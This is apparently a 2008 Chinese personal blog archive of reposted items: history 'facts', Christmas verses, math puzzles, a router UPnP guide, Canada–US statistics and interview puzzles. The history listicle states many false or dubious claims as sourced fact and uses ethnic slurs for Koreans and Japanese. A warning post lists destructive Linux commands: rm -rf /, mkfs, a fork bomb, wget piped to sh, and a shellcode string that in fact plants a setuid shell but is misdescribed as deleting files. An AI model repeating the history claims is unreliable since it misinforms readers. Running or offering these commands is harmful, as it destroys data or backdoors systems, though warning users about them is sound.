Monday, December 22, 2008

99%的人不了解的真实中国历史(摘)

99%的人不了解的真实中国历史(摘) 2008-12-21 04:02:57
http://blog.wenxuecity.com/blogview.php?date=200812&postID=34073

1.秦始皇灭了六国,但并未统一中国,因为当时还有一个卫国。

评价:大概是秦始皇在阿房宫那边的工作太忙,把这事给忘了吧。

2.中国历史上最牛的权臣是南北朝时期的宇文护,他权倾朝野的时代历经西魏、北周两朝,这期间他一共杀了3个皇帝。

评价:彪悍的人生不需要解释。

3.唐朝最强盛的“开元之治”时期,全国有户820万,是唐朝的最高值;而隋朝“开皇之治”时期,全国就有户890万。终唐一世,各项经济指标都没有恢复到隋朝水平。(《隋书》《旧唐书》《新唐书》等)

评价:原来唐朝这么差。

4. 被“主流”专家们诟病为“军事软弱”的宋朝,对外战争(交战规模万人以上,不包括统一战争和国内战争)的胜率超过了70%;而被认为是军事最强盛的唐朝却在对外战争中胜少负多。(本人花了8个月时间,看过《新唐书》《旧唐书》《宋史》《辽史》《金史》《元史》《西夏书事》《续资治通鉴长编》《三朝北盟会编》《建炎以来系年要录》《续资治通鉴》《宋会要辑稿》等书统计出来的,时间较紧,或有错漏,但>70%是没问题的。)

评价:原来我们以前学到的历史都是骗人的。

PS:由于唐朝错误的民族政策,产马地尽在蛮族之手,导致宋朝从始至终只能在平原以步兵的血肉之躯抵挡蛮族铁骑的冲击,所以宋朝的胜利一般都是击溃战而不是歼灭战。倘若一段时期宋朝对外胜率低于60%,那基本就意味着亡国了。

5.宋朝士兵的平均作战负重是32公斤,训练负重还要高于这个数值;现在美国最精锐的特种部队的训练负重不到15公斤。(《建炎以来系年要录》《宋史》《宋会要辑稿》等)

评价:人类在退化?(身体方面)

6.中国在北宋神宗元丰年间(1078-1085),城市化率达到惊人的30%以上;在所谓“康乾盛世”时代,这一比例也不过9%;新中国在21世纪初才重新达到这一数值。(《元丰九域志》《续资治通鉴长编》《宋史》等)

评价:原来历史并不总是进步的。

7.同样是元丰年间,中国华北地区的钢铁年产量达到了15万吨;工业革命后的英国在1788年钢铁产量才达到7.6万吨。

评价:原来宋朝并不跟我们想象的那样差。

8.整个北宋时期,中国一直在扩张领土,直到“靖康之变”的前一年(1126)才停止。(《续资治通鉴长编》《宋会要辑稿》等)

评价:看来我们真的误会宋朝了。

9.秦桧所创的“宋体字”是整个南宋时期的官方文书通用字体,尽管南宋大多数时间都将秦桧作为反面典型。

评价:看来宋朝时期的中国人还是挺理性的。

10.整个南宋时期,中国一直没有定都,临安府的级别不过是“行在”(陪都)。

评价:但最后跟定都没啥区别了。

11.南宋之所以一直偏安并非统治者不愿收复故土,而是因为民间反对的声音太大。更让人意想不到的是,民间之所以反对是因为担心收复故土后宋廷会增加江南地区的税收来扶植已被女真人严重破坏的收复区。

评价:其实,人类就是这样的自私。

12.南宋时期,熟练雇工的工资高于知府工资。(宋朝知府一般是从三品或正四品,年薪在400贯以上,至少相当于今天的15万元人民币)

评价:貌似现在只有欧美发达国家才这样。

13.中国南宋时期最先进的织布机有1800多个活动构件,其中有的技术是现代化织布机也无法达到的。

评价:宋代中国人的创造力真不是盖的。

14.南宋中后期,中国(仅指宋)的人口占世界人口的15%左右,经济总量却占到了全球的75%以上;今天我国人口占世界人口的21%,经济总量占全球比例却仅为4%。

评价:只能说那时的中国更像中国。

15.在1233年宋蒙联军攻打蔡州的时候,南宋名将孟珙救了蒙古将领张柔一命。4年后,张柔的儿子张弘范出生,而崖山一战灭亡南宋的就是这位张弘范。(《宋史》《元史》等)

评价:这让我想起了农夫与蛇的故事。

16.南宋数学家秦九韶至晚在1247年就已经发现一元三次方程的求根公式,欧洲人在400多年后才发现,但在中国的课本上这个公式仍是以那个欧洲人的名字来命名的。(《数学九章》等)

评价:原来我们祖先什么都有,只是我们不知道罢了。

17.蒙古帝国军队在13世纪的征战中共屠杀了2亿人,成为了人类历史上最不光彩的一项吉尼斯纪录,其中,仅中国境内就有6000万人死于蒙军屠杀;与之相比,纳粹屠杀的600万犹太人简直是小巫见大巫。(《多桑蒙古史》《宋史》《金史》等)

评价:原来这就是“我们”“伟大”的成吉思汗,那些崇拜它的人赶快醒醒吧!

18.明朝在永乐年间与越南发生了一场战争。此战明朝军队号称80万,而越南军队更是号称700万,实际上双方军队总数加起来也不过30万,这毫无疑问是中国历史上牛皮吹得最大的一场战争。[注:那时越南还是中国领土](《明实录》等)

评价:幸亏朝鲜、越南都脱离中国独立了,要不然我们今天得跟棒子一个德行。

19.郑和下西洋的船队中吨位最大的宝船排水量约为7500吨。

评价:排水量都接近航母标准了,比较恐怖。

20.中国历史上唯一一个只娶一个老婆的皇帝出现在明朝,他就是明孝宗朱祐樘。

评价:确实是皇帝中的异类。

21.中国最早提出计划生育理论的不是马寅初,而是明朝万历年间(1573-1620)的内阁首辅申行时,而最早实施计划生育的时候却是在更早的宋朝。

评价:其实,理论都是马后炮。

22.明朝的万历皇帝曾连续28年不上朝,创造了中国皇帝的纪录。但是,这期间中国无论对内还是对外的战争均获得全胜。

评价:所谓“明亡于万历”,原来如此。

23.自1572年“隆庆开关”到1644年明朝灭亡,这70多年的时间里,全世界生产的白银总量的1/3涌入中国,共计约3.53亿两(保守估计,目前重新估计约为5亿两)。并且全球2/3的贸易与中国有关。

评价:资本主义萌芽?这简直是一只脚迈入资本主义了。

24.16世纪西班牙殖民者在南美掠夺的白银几乎都通过贸易的形式最终流入了中国。

评价:敢情是中国间接掠夺了美洲人民。

25.中国在明朝中后期曾经研究过坦克。(《武备志》等)

评价:这个比较雷。

26.1644年中国北方爆发了一次大型鼠疫,造成驻守北京的20万明军全军覆没,这直接导致了明朝亡于李自成。

评价:人到底还是没法胜天的。

27.被使用时间最长的年号不是康熙,而是明朝最后一个年号——崇祯,一共被朝鲜使用了265年。(《朝鲜李朝实录》等)

评价:那时候棒子还是挺重义气的。我也终于明白,进化论并不适用于棒子。

28.清朝乾隆时期修《四库全书》,总计存书3457部,79070卷,禁毁6766部,93556卷。

评价:真不知道这是修书还是毁书。

29.发动第一次鸦片战争是英国议会通过投票产生的结果,支持战争的一方仅获得9票的优势。

评价:历史根本就是“上帝在投色子”,所谓历史大势基本纯属胡扯。

30.第一次鸦片战争结束后,有人在京城某仓库意外发现一批封存了200多年的火器。这批火器是明朝末年制造的,其中有的竟然比英军的装备还要先进。

评价:这么多年都干什么了?不过,这也只能问清朝皇帝了。

31.清朝的道光皇帝为人十分节俭,喜欢穿有补丁的衣服,但打个补丁却要花四两银子。

评价:这冤大头,自作自受。活该!

32.第二次鸦片战争时期,清军曾以12万对阵2万英法联军,结果阵亡3万余,而对方仅阵亡4人,但病死的却有几十人。

评价:嗯,这个……

补充1.辽道宗耶律洪基曾写诗表达了后悔自己生在蛮夷之国和“来世做中国(宋)人”的愿望。与之类似的是,宋仁宗庆历六年(1046),朝鲜国王王颛也写诗表达了类似的愿望。

评价:其实,金庸小说的历史背景基本都是反的。当时萧峰阻止辽军南下,其实是救了他们。

补充2:南宋灭亡的时候,日本“举国茹素”来哀悼大宋的灭亡。(《心史》等)

评价:进化论同样不适用于鬼子。

补充3:南宋开禧二年(1206)中央财政收入达到8000万贯钱,当时全国人口约7000万。清朝到1900年代为8000万两,人口却有4亿。而南宋1贯钱购买力是清末一两白银的2倍。更重要的是,宋朝税率低于清朝。

评价:当我们的“专家”在不遗余力地为“康乾盛世”大唱赞歌的时候,是否想到了有一个朝代正在默默地受着后人们无端的非议,而这个人民生活水平十几倍于“康乾盛世”的朝代却正在人们尽情挥洒的刀笔之下“积贫积弱”着呢。

PS又PS:不少人怀疑中国史料的真实性。确实,很多史料都有不少错误,但如果通过对几种史料的对比分析,很多错误都是可以被纠正的。如果只看《明史》《清史稿》,得出的结论自然是明朝有如人间地狱,清朝跟天堂似的;如果只看《元史》,南宋简直弱得没边了。

中国历史上各个朝代所修史料可靠性程度从高到底排列如下:

本帖所列事实仅供参考,毕竟本人不是历史专业。有几位同学提供了不少有价值的资料,我在这里对各位表示感谢。

Christmas Verses

Christmas Verses
(From http://www.herenthere.com/cverses.html)

~ Christmas Fancy ~
The instant that I saw this card
With Christmas fancies gay,
Says I, to myself, I'll send it to you
with a wish for Christmas Day.

Christmas Wishes

~ Christmas Cheer ~
May your closest friends
Be ever near -
To make your Christmas
One of Cheer.

Aren't friends great!?

~ Christmas Gladness ~
Just a wish with a greeting
Both kindly and true
May the season bring Gladness
To yours and to you.

Happy Christmas

~ Christmas Greetings ~
Mine is just an ordinary wish -
It's even commonplace.
But recollect it bears the stamp
of friendship on it's face.

Happy Holidays

~ A Christmas Wish ~
A Christmas wish I send to you
With lots of love that's fond and true,
May Christmas be for you, my dear,
The sweetest day of all the year.

Holiday Happiness

~ Christmas Memories ~
May the memories
of this Christmas-time,
Make all the days
of the next year shine.

Season's Greetings

~ Christmas Wishes ~
May happy thoughts
On Christmas Day
Bring Good Luck
Next year your way.

Happy Holidays

~ Christmas Angels ~
Angels from the realm of Glory
Wing rare flight o'er all the Earth.
They who sang Creation's story,
Now proclaim Messiah's birth.
Come and worship, all who sing,
Worship Christ, the new-born King.

Happy Christmas

~ This Happy Season ~
In this festive happy season,
Gladness sets the fancy free,
And my thoughts as swift as swallows
Fly to bid Good Cheer to thee.

Merry Christmas

~ Wishes Sent ~
The wishes we send
Are as full of Cheer,
As the fun we'd have
If you were here.

A Merry Christmas
To all of you from all of us!

~ A Christmas Greeting ~
May the joy of His Word
And the light of His way
Abide in your heart
Throughout the year
As well as Christmas Day.

Happy Christmas

~ Christmas Bells ~
Ring out the bells of Christmas
Let them toll the Day.
Joy and Love and Kindness -
May they come your way.

Season's Greetings

~ Joy to You on Christmas ~
If Christmas brings
What we ask it to,
It's bringing lots of
Joy for you.

Merry Christmas

~ Season's Greetings ~
May this Christmas be a happy one
For those you love and you,
May Joy and Peace and Prosperity
Be yours all the New Year through.

Happy Holidays

~ This Christmas ~
I hope that Christmas
Brings a host
Of all the things
You wish for most.

Christmas Wishes

~ Christmas Day ~
To wish that Christmas Day will bring
Each joy that's bright and true,
That New Year welcomes every one
And smiles right back at you.

Merry Christmas

Monday, November 24, 2008

最接近但不等于3/7的分数 (ZT)

找出最接近,但不等于3/7的分数p/q,其中p,q为正整数,且q<100.













分母小于7的分数中,最接近的是2/5。所以这样的分数应该是(3k+2)/(7k+5)。k最大是13。
分母应该是99,98,97,96,95,94,93中的一个。所以,作1000以内,10000以内也不难了。
41/96

算24点 (ZT)

(1). 4, 4, 10, 10
(2). 3, 7, 9, 13
http://web.wenxuecity.com/BBSView.php?SubID=netiq&MsgID=125975











1) (10*10-4)/4
2) (7-13/3)*9 = 7*9-3*13

Friday, November 21, 2008

7 个致命的不可不知道的Linux Commands ZT

7 个致命的不可不知道的Linux Commands ZT

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Wednesday, November 19, 2008

路由器巧妙设置下载提速 (Z)

路由器巧妙设置下载提速
一、共享利器UPnP
大家知道,宽带路由设备一般都是通NAT功能进行公网和内网间的共享上网的。NAT(Network Address Translator)就是网络地址转换。公网就是普通电信交换网,即现在的网通、电信、铁通等架设的骨干及分支网络,也就是外网、广域网(WAN),就是我们通常所说的Internet,它是一个遍及全世界的网络。
NAT可让局域网用户共享一个公网IP上网


内网就是私网,也就是局域网(LAN),相对于公网、广域网(WAN)而言,主要是指在小范围内的计算机互联网络,这个“小范围”可以是一个家庭宿舍、一所学校、一家公司或者是一个政府部门,可以是两三台联网电脑,也可是数千上万台联网的电脑。其上网的计算机得到的IP地址是Inetrnet上的保留地址,如:10.x.x.x、172.16.x.x至172.31.x.x、192.168.x.x三个网段的地址。
而NAT的功用就是实现内网的IP地址与公网的地址之间的相互转换,将一个地址段的内网IP地址转换为一个或少量的公网IP地址,减少对公网IP地址的占用。这样在一个局域网内,只需要一台计算机连接上Internet,其它电脑就可以利用NAT网络地址转换共享Internet连接,让局域网内其他计算机也可以上网。
所有ISP(Internet服务提供商)提供的内网Internet接入方式,几乎都是基于NAT协议的。而宽带路由器也是其中的代表产品。但这也就带来一个问题,通过NAT转换得来的数据肯定会被路由设备按需拦截一部分。使用NAT协议,局域网内的计算机可以很顺畅的访问Internet上的资源,但 Internet上的其它客户要想访问局域网内的资源却不那么轻松了。
这是因为,局域网(LAN、私网、内网)内电脑发起的对外连接请求,路由器或网关都不会加以阻拦,但内网的特点就是无法对外打开监听端口,因此会损失所有外部发起的连接。来自广域网对局域网内电脑电脑连接的请求,路由器或网关在绝大多数情况下都会进行拦截。路由器会对来自外部想进入内部网络的信息则会进行识别、筛选,认为是安全的、有效的,才会转发给内网电脑。正是这种情况的存在,才导致了很多通过局域网上的用户P2P下载和传输不能全速。
对此,最直接的解决办法便是DMZ主机和UPnP端口映射两种办法。DMZ可以使某台特定计算机完全向互连网开放(有些应用程序需要开通多个TCP/IP 接口,而DMZ就可以为电脑实现这些功能)。但相比之下,UPnP(Universal Plug and Play,通用即插即用)功能更具实用性,它可更好的在WAN和LAN间完成端口映射,实现畅通无阻的上网应用。

UPnP可让网络传输更满速


这是因为,UPnP以Internet标准和技术(例如TCP/IP、HTTP和XML)为基础,不依赖于特定的系统、编程语言或物理媒体,使这样的设备彼此可自动连接和协同工作,从而使网络(尤其是家庭网络)对更多的人成为可能。可以和任何网络媒体技术(有线或无线)协同使用。在网络控制设备的管理下,它支持任何两个设备之间的数据通讯。并且UPnP支持零配置网络及自动查找功能,设备可动态加入网络,获取IP地址,根据需要提供功能。
如BT等P2P软件支持UPnP自动端口映射,便可以在本机上自动完成网关端口映射的操作,可以在不作任何配置的情况下自动在网关上打开对外端口,速度自然就可得到提升。

二、UPnP详细设置
UPnP已在DSL和Cable路由MODEM,以及各种有线和无线宽带路由器中被广泛支持,在新版Windows中也得到了支持,并在各种P2P下载软件以及MSN Messenger等通信软件中得到了应用。而该如何启用UPnP功能呢,这需要从系统、设备、相关软件三方面下手:
1、主流系统中的设置
支持UPnP的系统有:Windows XP SP1、SP2,Linux和Windows 2003、Vista等。
以Windows XP为例,Windows XP已对UPnP提供了完备的支持,但UPnP模块在默认状态下并没有被安装,所以将其安装上即可。

开启Windows XP对UPnP的支持


具体步履是:用鼠标左键依次点开“开始→控制面板→添加或删除程序”,选择“添加/删除Windows组件”,在“Windows组件向导”中选择“网络服务”,再选“详细信息”,在该界面中的“Internet网关设备发现和控制客户端”、“UPnP用户界面”或UPnP或“通用即插即用”选项前打上勾,最后点“确定”,系统将自动安装UPnP模块。
再以最新的操作系统Windows Vista为例,Windows Vista中将UPnP改名为了“网络发现”——网络发现是一种网络设置,该设置会影响您的计算机是否可以查看(找到)网络上的其他计算机和设置,以及网络上的其他计算机是否可以查看您的计算机。
启用“网络发现”将允许您的计算机查看其他网络计算机和设备,并允许其他网络计算机上的人可以查看您的计算机,这使共享文件和打印机变得更加容易。 Vista默认情况下,Windows防火墙阻止了网络发现功能,要启用该功能,可单击“开始→控制面板→网络和Internet”选项,单击“网络和共享中心”,单击“启用网络发现”,然后单击“应用”即可。

2、路由设备中的设置
出于安全考虑,多数路由器(包含带路由的各种宽带MODEM、宽带路由器和无线路由器)的UPnP功能默认都是关闭的,要想使用UPnP功能,将其开启即可。

在各种宽带路由设备中,启用UPnP功能都很方便。进入路由器的WEB配置页面,找到UPnP选项,将其设置为“开启”即可。

Monday, November 3, 2008

加拿大美国生活大PK,你希望去哪儿?(转)

加拿大美国生活大PK,你希望去哪儿?

http://blog.wenxuecity.com/blogview.php?date=200811&postID=428

从历史上看,美国一直是加拿大的“老大哥”,不管在哪一方面,美国都要胜过加拿大,同样地处北美洲,美国也是各国移民的首选。可是最近,加拿大的 Maclean 杂志采用两国统计局的数据对美加社会生活的方方面面做了一项比较全面的调查,结论是:加拿大人工作时间少,寿命长,加拿大人身体更健康,并且有更多的性生活。现在,加拿大人也比美国人更富有。

以下是一组统计数据的归纳:(资料来源: MacLean’s , July,2008 )

按购买力调整后的平均家庭财产净值( net worth ):

加拿大 美国

122600美元 93100美元

按购买力调整后的平均家庭收入:

加拿大 美国

44325 46325

个人平均欠债:

加拿大 美国

23460 40250

家庭平均居住面积(平方英尺)

加拿大 美国

2000 2520

每年用于房屋支出的百分比

加拿大 美国

19 34

用于个人消费的可任意支配的收入百分比

加拿大 美国

95 96

以上数据显示加拿大人在总体上较美国人富有。美国人虽然住房宽敞,开豪华轿车,但他们大多数是靠贷款购买。加拿大人的家庭总财产减去债务,要比美国人富裕30%。

平均每周工作时间

加拿大 美国

34.6 37.9

工作超过每周45小时的人群百分比

加拿大 美国

30 38

员工平均每年可享受的假日

加拿大 美国

17 14

实际使用的假日

加拿大 美国

16 11

每周和朋友在一起6到10小时的人数百分比

加拿大 美国

29 24

家长每天和孩子在一起吃晚饭的百分比

加拿大 美国

40 28

每周数次喝酒的人数百分比

加拿大 美国

27 19

在酒类上的家庭开支百分比

加拿大 美国

1.3 1.0

在车辆上的家庭开支百分比

加拿大 美国

4.5 7.1

大型豪华车辆销售百分比

加拿大 美国

11 21.3

总体车辆型号

加拿大 美国

Honda Civic Toyota Camry

以上数据显示,加拿大人工作时间少,休假时间长,所以他们有更多时间和朋友在一起喝酒。

每年每一千名15岁以上未婚妇女结婚人数

加拿大 美国

22.2 40.7

妇女首婚年龄

加拿大 美国

28.5 25.1

男人首婚年龄

加拿大 美国

30.6 26.7

同居家庭比例

加拿大 美国

18.4 7.6

每年每一千15岁以上已婚妇女离婚人数

加拿大 美国

10.6 16.4

生育率(15-49岁妇女人均拥有儿童数)

加拿大 美国

1.5 2.1

未婚妇女生育率

加拿大 美国

25.6 38.5

生活在单亲家庭的孩子百分比

加拿大 美国

22.5 26.4

有孩子的单亲家庭百分比

加拿大 美国

29.1 27.8

认为宗教非常重要的人数百分比

加拿大 美国

28 60

几乎有比加拿大多一倍的美国人结婚,而且结婚年龄要早许多。加拿大人孤独吗?不,只是他们喜欢“住在一块”,婚姻不过是一张纸,不是吗?

男人平均寿命

加拿大 美国

77.8 75.2

女人平均寿命

加拿大 美国

82.6 80.4

每1000人婴儿死亡率

加拿大 美国

5.3 6.8

心脏病百分比

加拿大 美国

5.5 5.9

糖尿病百分比

加拿大 美国

4.7 6.7

妇女肥胖症比例

加拿大 美国

19 33

男子肥胖症比例

加拿大 美国

17 31

公共及私营医疗每人每年所花费资金

加拿大 美国

3326美元 6401美元

上述各项指标显示,加拿大人总体上比美国人身体健康,尽管加拿大在医疗上的开支差不多只有美国的一半。

每100人拥有枪支数

加拿大 美国

30 90

每10万人口发生汽车盗窃数

加拿大 美国

487 398

每10万人口发生入室盗窃或抢劫数

加拿大 美国

768 729

每10万人口发生纵火案数量

加拿大 美国

41 27

每10万人口发生使用枪支谋杀案

加拿大 美国

0.6 3.4

每10万人口各类谋杀案

加拿大 美国

1.9 5.7

每10万人口抢劫案

加拿大 美国

94 149

加拿大人和美国人一样会违法,但美国的恶性犯罪事件明显高于加拿大,这是因为美国人拥有更多的枪支。

每周至少一次性生活的人数

加拿大 美国

59 53

每次性生活时间(分钟)

加拿大 美国

37 35

每年性生活次数

加拿大 美国

100 85

男人一生中性伴侣数量

加拿大 美国

23 13

女人一生中性伴侣数量

加拿大 美国

10 9

平均性实施的性行为种类(角色扮演,捆绑等)

加拿大 美国

5.1 4.2

少年(13-19)最近一次性行为使用安全套百分比

加拿大 美国

76 62

每10万少年女子怀孕人数

加拿大 美国

3050 7200

每10万患有淋病的少年女子

加拿大 美国

1367 2863

加拿大人比美国人享受更多性爱,但患有性病的人少于美国人。

每年每人平均休闲旅行次数

加拿大 美国

5.2 5.2

这些旅行中,目的地在国外的次数

加拿大 美国

1.2 0.2

每 10万人中出国两天以上旅行人数

加拿大 美国

71900 21300

拥有护照的公民

加拿大 美国

50 30

首选出国目的地

加拿大 美国

美国 墨西哥

美国和加拿大人度假的时间基本等同,但加拿大人喜欢走出国门,一半因为加拿大人更国际化,另一半是因为加拿大本国旅游目的地的日照时间较短。

Tuesday, October 28, 2008

平菇超简易栽培 - 文学城: 热点论坛 web.wenxuecity.com

秋天落叶时,找一树杈3-6寸直径,锯下:



再把树杈锯成3-4寸长的树桩,并2-4段树桩一组按原样摞好:



把买来的平菇吃剩下的边角废料切成薄片,放在树桩断面上:



用另一树桩压在放好平菇薄片的树桩上:



把摞好的树桩放在阴凉的地方,保持湿度:



你一年后吃到蘑菇,小羊给你发毕业证书:

Friday, October 24, 2008

旱猫捉水老鼠 (转帖)

有一个圆形的湖,直径100米。一只老鼠在湖心处游泳,岸边来了一只猫。
猫很饿啊,到嘴边的美味自然不会放过,可是猫不会游泳,只好绕着湖岸追老鼠跑。猫的速度是10m/s,那么,老鼠游泳速度至少要多少才能安全逃上岸呢?

 
解法一:
 
  设老鼠的游泳速度为x(m/s);老鼠从圆心处开始沿着背向猫的一条半径往岸边游。老鼠需要游过的路程是50米,所花的时间是50/x;猫需要跑过的路程是50π米,所花的时间是50π/10;列不等式:
 
    50/x<50π/10 ,
 
  解不等式,得:x>10/π=3.18(m/s)。
  老鼠游泳速度至少要快于3.18(m/s),才能安全逃上岸。
 
  这肯定不是最好的答案。老鼠的游泳速度还可以比3.18(m/s)更小。



贴子相关图片:



解法二:
 
  老鼠从圆心开始,先游到适当的半径r处,以半径r绕着圆心做圆周运动,使老鼠绕小圆一周所花的时间等于猫绕大圆(水池岸上)一周所花的时间,这样就可以保证在某个时刻和猫的距离为50+r(当然,不一定要做整个圆周运动,只要绕着圆心就行)。列方程:
 
     rπ/x=50π/10 .
 
  然后,老鼠从C点径直往岸边的A点游,力争先于猫到达A点.列不等式:
 
     (50-r)/x<50π/10

  联立二式解得:x<10/(π+1)≈2.4145(m/s)

还有比这更小速度的方案.
附图:
贴子相关图片:



解法三:
 
  老鼠从圆心开始,先游到适当的半径r处,以半径r绕着圆心做圆周运动,使老鼠绕小圆一周所花的时间等于猫绕大圆(水池岸上)一周所花的时间,这样就可以保证在某个时刻和猫的距离为50+r.列方程:
 
     rπ/x=50π/10 .
 
  然后,老鼠从C点不再是径直往岸边的A点游,而是沿小圆的切线往岸边的D点游(当然要看猫跑的方向),力争先于猫到达D点。可知CD线段长为:√(R^2-r^2);CD弧长为:arccos((√R^2-r^2)/R)。列不等式:
 
     (50^2-r^2)/x<50(π+arccos(√(50^2-r^2)/50)/10.

  联立二式即可解得x的值。但是我不会解,因为它包含有反三角函数。有人用数值解法解出,老鼠的速度为x>2.1723m/s。

  不用担心猫会转方向,因为猫和老鼠之间的距离在缩短,猫改变方向只会更有利于老鼠。

  可以肯定,这个答案还不是最优的。

  我在8楼的不等到号写反了,谢谢9楼朋友的指正!
贴子相关图片:


解法三:
 
  老鼠从圆心开始,先游到适当的半径r处,以半径r绕着圆心做圆周运动,使老鼠绕小圆一周所花的时间等于猫绕大圆(水池岸上)一周所花的时间,这样就可以保证在某个时刻和猫的距离为50+r.列方程:
 
     rπ/x=50π/10 .
 
  然后,老鼠从C点不再是径直往岸边的A点游,而是沿小圆的切线往岸边的D点游(当然要看猫跑的方向),力争先于猫到达D点。可知CD线段长为:√(R^2-r^2);CD弧长为:arccos(√(R^2-r^2)/R)。列不等式:
 
     √(50^2-r^2)/x<50(π+arccos(√(50^2-r^2)/50)/10.

  联立二式即可解得x的值。但是我不会解,因为它包含有反三角函数。有人用数值解法解出,老鼠的速度为x>2.1723m/s。





回答24楼:
  你说:“猫可以反向跑”。但是,别忘了:老鼠也可以反向游。只不过老鼠不是原路返回,而是转过一个方向,继续往岸边游。
  请看解法二和解法三的前半部分:老鼠从圆心开始,先游到适当的半径r处,以半径r绕着圆心做圆周运动,使老鼠绕小圆一周所花的时间等于猫绕大 圆(水池岸上)一周所花的时间,即rπ/x=50π/10。此时,猫和老鼠的角速度相等。也就是说,在相同的时间内,猫和老鼠围绕圆心转过的角度相等,两 者相对所夹的圆心角始终为180度保持不变。此时,若猫反向跑,老鼠也可以反向游,两者相对所夹的圆心角始终为180度保持不变。这时,老鼠离岸边的距离 为50-r。
  如果老鼠在某一时候,不再作圆周运动,而是沿小圆的切线方向从C点往D点游,此时,因为老鼠的旋转半径增大,而且运动方向与圆周产生一定夹 角,因此,老鼠此时的角速度小于猫的角速度,猫和老鼠之间所夹的圆心角(猫追赶老鼠方向的圆心角,即图左边BA弧)在减小,也就是说,猫和老鼠之间的距离 在缩短。
  如图:当老鼠沿切线CD方向游到某一点F时(注意:这个F点哪怕是游出C点一点点),老鼠游过的圆心角为∠COF(即∠COI),而猫此时 的角速度大于老鼠的角速度,那么猫跑过的圆心角∠BOG就会大于∠COI。此时,猫和老鼠之间的圆心角∠GOI就小于180度。所以说,“不用担心猫会转 方向,因为猫和老鼠之间的距离在缩短,猫改变方向只会更有利于老鼠。”
  如果猫硬要一意孤行,掉转方向往回跑。那么,当猫跑到与F点相对于圆心的H点时,老鼠也可以改变方向(但不是原路返回),以OI为对称轴,沿FD的对称线FI往岸边游。
  不知我说清楚了没有?
贴子相关图片:



逃脱方案:

老鼠先向右走dx,顺带一个比dx还小得多的dy.

1.若猫向右走k倍的dx
 则老鼠向左走dx,顺带一个比dx还小得多的dy.

 (1)若猫继续向右走k倍的dx
   则老鼠向左走dx,顺带一个比dx还小得多的dy.

   ①若猫不打算回头了,一直向右走
    则老鼠一直向左走
    结果:老鼠沿切线逃走,猫沿劣弧追.

   ②若猫回头向左走k倍的dx
    则老鼠也回头向右走dx,顺带一个比dx还小得多的dy.
    结果:经过这么一左一右一折腾,猫相当于静止不动,老鼠白赚了两个dy.

 (2)若猫回头向左走k倍的dx
   则老鼠也回头向右走dx,顺带一个比dx还小得多的dy.
   结果:经过这么一左一右一折腾,猫相当于静止不动,老鼠白赚了两个dy.

  (分析到这里,Fans忍不住骂一句:傻猫你就尽管换方向吧,老鼠凭着微不足道的dy不知不觉就逃脱了.)

2.若猫向左走k倍的dx
 情况类似,不再敷述.


贴子相关图片:






回答: 证明在这里(revised) 由 竞选 于 2008-10-19 18:00:14
定义S1为:如果老鼠的速度小于或等于S1,则老鼠会被猫抓住,而当老鼠的速度大于S1时,老鼠可安全逃离此圆湖。这样定义的S1是存在的。

现在来证明:不存在这样一个老鼠的最小的速度S2使得老鼠能安全逃离此湖。

用反证法:假设这样的S2存在,则S2 > S1。定义S3=(S1+S2)/2,则从S3>S1及S1的定义知老鼠的速度为S3时老鼠可以安全逃脱。

又从S3

简而言之,就是:大于S1的最小实数是不存在的。

Google 的疯狂面试题

一辆学校班车里面能装多少个高尔夫球?

你被缩小到只有硬币厚度那么点高(不是压扁,是按比例缩小),然后被扔到一个空的玻璃搅拌器中,搅拌刀片一分钟后就开始转动。你怎么办?

要是让你清洗整个西雅图的所有窗子,你会收取多少费用?

怎么才能识别出电脑的内存堆栈是向上溢出还是向下溢出?

你要向你8岁的侄子解释什么是数据库,请用三句话完成。时钟的指针一天内会重合几次?

你需要从A地去B地,但你不知道能不能到,这时该怎么办?

好比你有一个衣橱,里面塞满了各种衬衫,你会怎么整理这些衬衫,好让你以后找衬衫的时候容易些?

有个小镇有100对夫妇,每个丈夫都在欺骗他的妻子。妻子们都无法识破自己丈夫的谎言,但是她们却能知道其他任何一个男人是否在撒谎。镇上的法律规定不准通奸,妻子一旦证明丈夫不忠就应该立刻杀死他,镇上所有妇女都必须严格遵守这项法律。有一天,镇上的女王宣布,至少有一个丈夫是不忠的。这是怎么发生的呢?

在一个重男轻女的国家里,每个家庭都想生男孩,如果他们生的孩子是女孩,就生下一个,直到孩子是男孩为止。这样的国家,男女比例会是多少?

如果在高速公路上30分钟内到一辆车开过的几率是0.95,那么在10分钟内看到一辆车开过的几率是多少 (假设为常概率条件下)如果你看到钟的时间是3:15,那一刻时针和分针的夹角是多少?

(肯定不是0度!)4个人晚上要穿过一座索桥回到他们的营地。可惜他们手上只有一支只能再坚持17分钟的手电筒。通过索桥必须要拿着手电,而且索桥每次只能撑得起两个人的份量。这四个人过索桥的速度都不一样,第一个走过索桥需要1分钟,第二个2分钟,第三个5分钟,最慢的那个要10分钟。他们怎样才能在17分钟内全部走过索桥?

